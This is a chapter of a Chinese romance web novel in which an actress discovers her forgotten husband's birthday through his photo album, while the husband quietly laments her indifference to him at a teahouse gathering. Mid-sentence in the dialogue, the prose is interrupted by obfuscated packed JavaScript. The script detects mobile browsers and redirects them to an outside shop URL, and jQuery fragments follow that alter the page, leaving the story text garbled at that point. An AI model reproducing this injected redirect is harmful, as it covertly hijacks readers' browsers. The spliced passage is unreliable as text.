谢予薇醒来时，身边已经空了。
遮光帘将屋外的阳光遮掩得严实，躺在床上也分不清是白昼还是黑夜，空气中还残留着淡淡的木质香气，是言铮身上的味道。
手机上的时间停在十点，按照言铮的习惯，估计两个半小时前就从家里出发去上班了。
这人起床还真是一点动静都没有。
谢予薇翻了个身，发丝垂落在颈侧，她在床上躺了会儿，缓过神来，才支起身子，披了件米白色针织外套下楼。
那张褐色的毛毯还安静地搭在沙发扶手上，仿佛从未移动过。
家里的阿姨章姨听见动静从厨房出来，“夫人醒了啊。”
章姨是言铮找来的，四十多岁，做事细致周到，言铮知道她喜欢吃粤菜，特地请了个会烧的阿姨来照顾她的起居。
只可惜谢予薇住这儿的日子实在少，出去拍戏也不方便带这个阿姨来给自己烧饭，鲜少吃章姨烧的饭。
“先生出门前吩咐我煮的醒酒汤，还有一碗辽参粥，说拿来给您垫垫肚子。”章姨问：“您是要现在用吗？”
谢予薇撑着头，昨夜的酒意还未全退，脑子里一阵轻飘，总觉得浮在空中似的，“帮我端出来吧。”
屋里又归于寂静，外头的阳光被窗纱滤成柔和的奶白色，照在谢予薇的脸上，白皙的掌心泛着微微的光，谢予薇坐在餐桌前，托腮发了会儿呆，不多时，章姨就将东西端了出来。
醒酒汤的味道淡淡的，混着参香，喝得她舌尖微苦。
“怎么加了参啊？”谢予薇问。
章姨实话实说：“先生说您气色差，让我加点参来给您补气。”
还真是言铮的手笔。
谢予薇没说话了，知道自己平日里吃什么都会被章姨一五一十地汇报给言铮，老老实实地将早饭吃完，去家里的健身房做瑜伽。
估计是太久没运动了，不过练了一会儿，谢予薇的额角就沁出薄汗，她随手将发圈一扯，柔软的长发披散下来，像是水波铺开的黑绸，她打着哈欠，准备去浴室冲澡时，经过言铮的书房。
书房的门半掩着，温吞的阳光斜斜照进来，打在深色的地毯上，落了一地柔影，谢予薇正要离开，余光瞥见章姨蹲在里面，似乎在地上拾什么。
谢予薇问了一嘴，“章姨，这是怎么了？”
“昨晚书房的窗户没关，将言总摆在桌上的照片都吹到地上了。”章姨问：“夫人，这些相片，是放回桌上，还是放回柜子里？”
谢予薇愣了下，走进书房，看着被风吹落一地的照片，问章姨：“这些是什么照片啊？”
“我看桌上有本相册。”章姨说：“好像是先生昨晚整理的相片。”
谢予薇走进来，蹲在地毯边捡起一张照片看了看，还是她和言铮领证后，两家吃饭的合影，二十岁的她笑得礼貌，生疏地挽着言铮，旁边的言铮神情淡淡，脸上一如往常地挂着得体有度的微笑。
看得谢予薇有些恍惚，心道言铮怎么突然想到整理照片了。
她将章姨手里的照片接过，说：“我来吧，你去忙你的。”
“好嘞。”
章姨出去了，小声地替谢予薇拉上门。
阳光顺着窗沿洒进来，将她的影子拖长，映在书柜旁，谢予薇坐在羊绒地毯上将照片一张张捡起，才发觉言铮整理的大多是他们婚后的照片，有言铮过年在家里和长辈的合影，还有几张是和她哥谢楷的合照。
谢予薇将照片放在桌上，用桌上那只空的青瓷茶盏压着，言铮的桌上收拾得很干净，正中央摊着一本陈年的相册，黑色的皮质封面简单低调，像是一本日常的会议记录本。
她随手翻开，第一页便是一张童年照，照片里的小言铮穿着白衬衫，规规矩矩地坐在桌边，跟前摆了个两层生日蛋糕，眉眼间尚未完全舒展，唇角抿着，脸上的笑意浅淡得像个小大人。
真是打小就是一副古板模样。
谢予薇笑了笑，视线无意间瞟到照片角落的时间水印。
二十五年前的9月25日。
9月25日。
谢予薇的额角跳了下，那不就是昨天？
昨天是言铮的三十一岁生日。
她竟然连这都忘了，自己这言夫人，当得也太不称职了。
谢予薇她揉了揉额角，思忖良久，心道虽然对言铮没什么感情，但这作为合法夫妻，也该送一送迟来的祝福，便打开聊天框给言铮发过去：【抱歉，昨天忙忘了，忘记你生日了。】
-【三十一岁生日快乐。】
她当即转了个88888过去，也不等言铮回复，就放下手机，将相册往后翻，后面是一张童年合照，上头是几个和他交好的朋友，还有她哥谢楷。
再然后——指尖骤然停住，浓密的睫毛轻轻颤动着，谢予薇垂眼，在那张老照片上抚过。
后面放着的，是她高三时的照片。
她高三那年冬天去艺考，素面朝天的，扎着一个高马尾拿着准考证站在学校外的人群中，眉眼尚带着青涩，被前来拍摄素材的媒体注意，偷拍下了她在校考时候场的情形。
十八岁的谢予薇清纯明艳，因着这一张照片，一度被网友评为最美艺考生。
当时这张照片火得身边几个发小都将照片打印下来四处传阅，在她出道前就给她四处造势，谢予薇也没想到言铮会有。
心口忽地一跳，耳尖泛红之际，谢予薇悄无声息地给言铮寻了个合适的理由。
这里头的照片这么多，大概言铮也是弄混了，才将这张照片也放进了相册里。
她垂下眼，轻轻呼了口气，身边的手机亮了下，是言铮发来的消息：【心意领了。】
-【不过钱还是不收了，你前阵子上天入海拍戏挣来的辛苦钱，自己留着买个包。】
谢予薇：“……”
这人还真是不解风情。
她抿了抿唇，正要放下手机，新的消息又跳了出来。
言铮将钱退了回来，问：【我让章姨给你煮了醒酒汤，你喝了吗？】
Vivian：【喝了。】
言铮：【还有没有不舒服？】
Vivian：【没有。】
言铮：【那就好，好不容易有个档期空了，多注意休息。】
-【晚上我得去个饭局，就不回来吃了。】
谢予薇巴不得言铮不回来，回了个：【好。】
言铮：【你按时吃饭。】
结婚三年了，她和言铮之前的对话，基本都是这样的叮嘱。
言铮对自己细致入微的叮嘱与管控，让谢予薇总觉得，自己在他面前只是个小辈。
久了，连谢予薇都觉得好没意思。
自己前二十年父亲角色的缺位，言铮竟然在结婚后给自己补足了。
谢予薇盯着那行字，眼神微动，片刻后关了屏幕。
窗外阳光正好，映得书桌上那本相册泛着温柔的光，好似承载了无尽的岁月照进那方早已泛尘的心底，谢予薇的目光黏在那张艺考时的照片上，看了好半晌。
那年她笑得那么干净。
只是谁也没想到，拍下这张照片后的第二年，她就和言铮领证结婚。
-
下班后，言铮去赴了趟席面，同人谈手下一块地皮的开发。
暮色渐沉，靡靡灯火玻璃上反出一层淡淡的金影，酒过三巡，杯盏半空，言铮的眉宇仍旧平稳如常。谈到项目的尾声，桌上几位投资人脸上都挂着客气的笑，气氛算得上主客尽欢。
眼见着事也谈得差不多了，言铮便起身送客，将人送至门口，服务生匆匆来请，说有人想请他去园子里的茶室坐坐。
身边的秘书宋廷低声提醒，方才出去拿酒时，好像看见了夫人的哥哥谢楷。
那估摸着是了。
言铮理了理衣襟，略一颔首，跟着服务员穿过曲折的石径。
园中夜风带着桂花甜腻的香气，秋风拂过池水，在水面漾起微波，倒映着茶室灯影的温黄，几尾锦鲤在水中穿行，光影晃动，映在他漆黑的眸底。
服务员将他引至一处中式小楼前停下，隔着一扇雕花门，里头传来几声低笑，夹杂着茶盏落桌的轻响。
言铮推门入内，檀香缭绕，里头坐着三三两两，皆是老面孔。
“言总可是大忙人啊。”谢楷看见他，笑道：“这一天到晚的连个面都见不着。”
见言铮来，谢楷身侧的男人自觉地起身让位，招呼服务员摆上新的茶具。
言铮的神色温和，颔首道谢，坐在谢楷身边，转头看了眼身边的旧友许涣，“难得一见许司啊。”
“我也是难得窥见言总大驾。”许涣懒散地坐在那把交椅上，说：“昨儿个生日，谢楷说要给你庆生的，哪想到你连个人影都没有，一听说予薇回来，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059418|194987||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一头就往壹号院扎。”
话音未落，旁边几人纷纷笑出声。
金骏眉茶汤在白瓷盏中旋出浅浅的涡纹，氤氲的热气雾化了半边光影。
言铮也跟着笑，语气温淡：“这不是让您老见上了？”
“昨晚生日过得怎么样？”谢楷打探道：“我们约你吃饭你不来，特地要回去跟我妹过。”
言铮眼底波澜不惊，没什么起伏，淡淡地说：“挺好的，在哪过不是过。”
“真的假的？”谢楷扬眉，笑着问：“我怎么听说你跑闻毅酒吧去了？差点把闻毅那小子吓得够呛。”
“还当是自己惹了什么祸，他家老子派你来逮人呢。”
笑声在茶室里荡开，言铮神色如常，端起茶盏轻抿一口，淡淡的香气掠过舌尖，“闻伯伯也使唤不动我吧。”
他气定神闲地说：“我是怕小薇喝多了，来看看她。”
谢楷微怔，品出些不对来，“你俩昨晚没在一起啊？”
“小薇难得休息，出来和朋友见见也挺好的。”言铮敛了下眼，藏起眼里一闪而过的晦涩，努力让自己的眉目看起来平静如水，“我也不太爱过生日。”
他对生日没有什么执念，无非是在年龄上添上一岁，前两年谢予薇忙着拍戏，他们也没在一起好好过个生日，最多是家里阿姨记得，给自己烧完长寿面就算了。
过往是不在意，可不知为何，言铮觉得自己今年却有些不同。
许是她回来了，哪怕只是短暂的一晚，他也想她能留在家里，好好地陪他吃个饭。
可惜谢予薇连自己的生日都忘了，那一句生日快乐，还是今早才想起来给他补上。
一旁春风得意的许涣敏锐地听出言铮话里的不对味，不动声色地转移话题，“哎，不过话说回来，今儿个少了个人，还真不自在。”
谢楷在边上点明，“沈淮序一南下，总觉得安静了不少。”
沈淮序是他们几人的发小，知根知底地一条裤子长大，前阵子刚结婚，因着新婚妻子常年定居南方，沈淮序也跟着搬去照顾怀孕的妻子。
谢楷说：“等孩子生完我可得瞧瞧，到底是像元昭还是像沈淮序。”
许涣接话：“得了吧，你早些红包准备好就行了，到时候给我外甥女送去。”
“哟，许司这话说的。”谢楷笑他，“你如今是讨着名分了。”
“我可是那孩子姨夫。”许涣得意道：“旁人羡慕不来。”
桌上的几个朋友皆是一副了然的神情，哟了声，哄笑一阵，气氛缓和了些。
“得了，我家里可是有一个小的了。”谢楷将人赶走，“你上边上去和言铮显摆。”
许涣瞥了眼言铮冷清的面色，也不敢去招惹，“那还是算了。”
谢楷虽然看着神经大条些，却也能察觉微妙的变化，他瞄着身旁那始终神情平淡的言铮，试探地问：“我说言铮啊，你这一天到晚的发哪门子愁？”
灯光从侧方打在言铮清隽的面庞上，越过他鼻梁上的镜片，映出他淡漠的眼眸，许涣一眼看出不对劲，玩笑似的说：“想你妹妹呢。”
“怎么了？跟我妹吵架了？”谢楷端着茶细细品着，问：“结婚三年了，还没和我妹妹处出感情来啊？”
“……”
一语被人戳中心事，言铮不动声色地扯了下嘴角。
感情吗。
他倒是有，不然也不至于违背自小的教养，用些上不得台面的计策，大费周章地将她的名字与自己的名字放到一处。
只可惜谢予薇对这段婚姻毫无期待，结婚至今对外仍旧声称自己未婚单身，甚至一见着他就反感，觉得自己对她管束过多，迫切地想要远离自己。
言铮只能后退，小心翼翼地去试探他们之间的界限。
靠着一句看似寻常的叮嘱，和那些细微末节的照顾，来小心翼翼地表明，他言铮很关心她，很想走到她的心里。
他甚至刻意地去模仿那位谢予薇曾经的暗恋对象，摆出一副润物无声的做派，说服自己对谢予薇耐心些，不再干涉她的行为处事，给予谢予薇她想要的自由。
但每当他试探性地走近她的身侧，言铮才发现他们之间的距离看似很近，实则隔着一层坚硬而通透的玻璃，他看得见谢予薇，却如何都触不到她。
他抬眼，唇角微动，淡淡道：“不着急。”
还有时间。